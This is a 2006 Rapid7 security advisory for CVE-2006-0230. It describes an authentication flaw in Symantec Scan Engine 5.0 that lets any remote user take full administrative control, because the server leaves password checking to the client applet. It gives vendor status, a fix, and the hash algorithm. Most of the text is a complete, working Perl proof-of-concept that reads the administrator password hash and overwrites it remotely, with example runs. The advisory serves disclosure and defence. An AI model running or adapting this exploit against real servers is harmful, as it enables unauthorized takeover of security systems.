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Rapid7, LLC Security Advisory
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Rapid7 Advisory R7-0021
Symantec Scan Engine Authentication Fundamental Design Error
Published: April 21, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0021.html
CVE: CVE-2006-0230
1. Affected system(s):
KNOWN VULNERABLE:
o Symantec Scan Engine v5.0.0.24
KNOWN FIXED:
o Symantec Scan Engine v5.1.0.7
UNKNOWN (PROBABLY VULNERABLE):
o All v5.0.x.x
o Earlier versions
2. Summary
Symantec Scan Engine provides a web-based administrative interface
that is used for managing scanning options and antivirus
definitions. To access the interface, an administrator must browse
to it, load a Java applet, and log in with a password.
However, the authentication mechanism used by Symantec Scan Engine
contains a fundamental design flaw that allows any remote user to
gain full administrative access to the server. The server does not
verify the password entered by the user. The password is only
verified by the client-side Java applet. Anyone with knowledge of
the underlying communication mechanism can exercise full control of
the Scan Engine server simply by posting XML requests to the server
using its proprietary protocol.
NeXpose, Rapid7's award-winning vulnerability assessment platform,
checks for this vulnerability and other vulnerabilities we have
discovered in Symantec Scan Engine. Visit http://www.rapid7.com
to register for a free demo of NeXpose.
3. Vendor status and information
Symantec Corporation
http://www.symantec.com
Symantec was notified of this vulnerability on January 17, 2006.
They acknowledged the vulnerability, then provided us with a
fixed version. Rapid7's advisory was publicly released on April 21,
2006.
4. Solution
Upgrade to Symantec Scan Engine v5.1.0.7 or later.
5. Detailed analysis
The administrative web interface, which is typically accessible on
default TCP port 8004, is implemented as a Java applet. Also, an
additional SSL connection to TCP port 8005 is used by the applet to
exchange configuration information with the server using a proprietary
protocol based on XML exchanges. The authentication model used by the
administrative interface is utterly flawed, because the server trusts
the client applet to correctly authenticate users. The protocols
themselves (HTTP on port 8004 and proprietary protocol on port 8005)
do NOT require client authentication.
For example, when an administrator user changes his password via the
administrative interface, the Java applet simply connects to port
8005 and sends a request to change the administrator password hash.
No authentication is required. The direct consequence of this is
that any remote attacker can change the administrator password to a
password of his choice.
We have included with this advisory a proof-of-concept Perl script
which demonstrates this vulnerability
(see "change_scan_engine_pw.pl").
Here is an example scenario:
$ ./change_scan_engine_pw.pl --pwd foobar 10.68.4.4
Old hash:
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
New hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
Password successfully set to: 'foobar'
$ ./change_scan_engine_pw.pl \
--hash E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
\
10.68.4.4
Old hash:
656268BDDE60892B3B5D92781E79C05031E2B48F3D222EB8A71D507FAB2E9EB0
New hash:
E97B788686921D991B3179F1E8CCA6491D3714F2F3EC2ADE399CB71A828090AF
The first command resets the administrator password to 'foobar': it
asks Scan Engine for the current administrator password hash
(E97B...) for information purpose only (the attack does not actually
require knowledge of the previous password hash), computes the hash
corresponding to the new password (6562...), and uploads this new
hash. The second command just restores the previous password (which
is unknown) by re-uploading the previous hash (E97B...) to the
server.
Note: the 256-bit password hash is computed using the following
algorithm. First, a random 128-bit salt is chosen. Second, a character
string is built by concatenating the password string and the
uppercase hexadecimal representation of the salt. Third, the 128-bit
MD5 digest of this concatenated string is computed. Finally the
256-bit password hash is built by concatenating the 128-bit MD5
digest and the 128-bit salt.
6. Credit
This vulnerability was discovered by Marc Bevand of Rapid7.
7. Contact Information
Rapid7, LLC
Email: advisory@private
Web: http://www.rapid7.com
Phone: +1 (617) 247-1717
8. Disclaimer and Copyright
Rapid7, LLC is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES with
regard to this information. Any application or distribution of this
information constitutes acceptance AS IS, at the user's own risk.
This information is subject to change without notice.
This advisory Copyright (C) 2006 Rapid7, LLC. Permission is hereby
granted to redistribute this advisory, providing that no changes are
made and that the copyright notices and disclaimers remain intact.
The proof of concept script follows:
#!/usr/bin/perl -w
#
# Remotely change the administrator password (or password hash) of
# Symantec Scan Engine.
#
# Author: Marc Bevand of Rapid7 <marc_bevand(at)rapid7.com>
# Copyright 2006 Rapid7, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided
# with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY RAPID7, LLC ``AS IS'' AND ANY EXPRESS
# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL RAPID7, LLC BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
# GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
use strict;
use Getopt::Long;
use LWP::UserAgent;
use Digest::MD5 qw/md5_hex/;
use Net::SSLeay::Handle qw/shutdown/;
#
# Init LWP::UserAgent (the user agent string is the one currently used
# by the Scan Engine java applet).
#
sub init {
my $ua;
$ua = LWP::UserAgent->new(keep_alive => 0);
$ua->agent("Mozilla/4.0 (Windows 2000 5.0) Java/1.4.2_08");
return $ua;
}
#
# Example of service string to be parsed:
# 10.68.4.4
# 10.68.4.4/8004/8005
# hostname
# hostname/9004/9005
#
sub parse_service {
my ($service) = @_;
if ($service =~ m{^([^/]*)/(\d+)/(\d+)$}) {
return $1, $2, $3;
} elsif ($service =~ m{^([^/]*)$}) {
return $1, 8004, 8005;
} else {
die "cannot parse service: $service";
}
}
#
# Sends a request to obtain the password hash. Note: the RSA key
# (modulus and public exponent) has been randomly chosen.
#
sub data_to_send {
my $r1 =
'<request><key mod="784607708866372110095636553206565253692059085'.
'0882661452379500719255245078226751123858547991180612629396444366'.
'109364669329014831409765373165312900564995261" pub="754297542068'.
'3822223796790522532950961415568940207500046396606172395479254814'.
'3383744922039888710333203519260280729415961892539564611703079983'.
'74406014351745">I need the key</key></request>'
;
return $r1;
}
#
# Example of response to be parsed:
# <request>
# <message xmlns:xs="http://www.w3.org/2001/XMLSchema"
# xmlns:java="class:com.symantec.common.SimpleRSA"
# value="01234567890123456789012345678901234567890123456789012345\
# 6789"/>
# <password xmlns:xs="http://www.w3.org/2001/XMLSchema"
# xmlns:java="class:com.symantec.common.SimpleRSA"
# pass="86B7A1FE120C0279971559B6BAC8C5713EF580BAFD20168D622B7E170\
# D248642"/>
# </request>
#
sub parse_resp {
my ($res) = @_;
if ($res =~ /pass="([[:xdigit:]]{64})"/) {
return $1;
} else {
die "cannot parse response: $res";
}
}
#
# Return a password hash.
#
sub hash_passwd {
my ($pwd) = @_;
my $salt = sprintf "%08X%08X%08X%08X", rand(0xffffffff),
rand(0xffffffff), rand(0xffffffff), rand(0xffffffff);
return uc(md5_hex("$pwd$salt")) . $salt;
}
sub send_request {
my ($socket, $req) = @_;
$req = pack("n", length($req)).$req;
print $socket $req;
}
#
# Set the administrator password hash.
#
sub set_hash {
my ($hostname, $port_ssl, $hash) = @_;
my $socket;
my $reply;
tie(*SSL, "Net::SSLeay::Handle", $hostname, $port_ssl)
or die "ssl tie: $!";
$socket = \*SSL;
send_request($socket,
'<request command="submit" parms="apply" type="saveapply">'.
'<![CDATA[<?xml version="1.0" encoding="UTF-8"?>'.
'<guichanges><configuration>'.
'<changes xpath="//admin/password/@value" value="'.$hash.'"/>'.
'</configuration></guichanges>'.
']]></request>');
send_request($socket,
'UTFWritesDone');
shutdown($socket, 1) or die "ssl shutdown: $!";
$reply = substr(<$socket>, 2);
$reply = substr($reply, 0, index($reply, 'UTFWritesDone') - 2);
if ($reply !~ m{<message status='apply_success'>Apply!</message>})
{
die "command failed: $reply";
}
close($socket) or die "ssl close: $!";
}
sub doit {
my ($service, $pwd, $hash) = @_;
my $hostname;
my $port_http;
my $port_ssl;
my $ua;
my $url;
my $req;
my $res;
my $old_hash;
($hostname, $port_http, $port_ssl) = parse_service($service);
$ua = init();
$url = "http://$hostname:$port_http/xml.xml";
$req = HTTP::Request->new(POST => $url);
$req->content_type('application/x-www-form-urlencoded');
$req->content(data_to_send());
$res = $ua->request($req);
$res->is_success or die "got ".$res->status_line." for $url\n";
($old_hash) = parse_resp($res->content);
print "Old hash: $old_hash\n";
if ($hash) {
set_hash($hostname, $port_ssl, $hash);
print "New hash: $hash\n";
} else {
$hash = hash_passwd($pwd);
set_hash($hostname, $port_ssl, $hash);
print "New hash: $hash\n";
print "Password successfully set to: '$pwd'\n";
}
}
sub error {
print STDERR "Try `$0 --help' for more information.\n";
}
sub usage {
print "Usage:\n".
" $0 [OPTIONS] <hostname>\n".
" $0 [OPTIONS] <hostname>/<http_port>/<ssl_port>\n".
"Options:\n".
" --help Display this help\n".
" --pwd <passwd> Set the password (default: test)\n".
" --hash <passwd_hash> Set the password hash instead of a parti".
"cular password\n".
"Examples:\n".
" $0 10.68.4.4\n".
" $0 --pwd foobar 10.68.4.4/8004/8005\n".
"";
}
sub main {
my $help;
my $pwd = "test";
my $hash;
my $service;
if (!GetOptions(
"help" => \$help,
"pwd=s" => \$pwd,
"hash=s" => \$hash,
)) {
error(); exit(1);
}
if ($help) {
usage(); exit(0);
}
if (!scalar(@ARGV)) {
print STDERR "No service specified.\n";
error(); exit(1);
} elsif (1 == scalar(@ARGV)) {
$service = $ARGV[0];
} else {
print STDERR "Extra argument: $ARGV[1]\n";
error(); exit(1);
}
doit($service, $pwd, $hash);
}
main();
#
# END proof of concept
#
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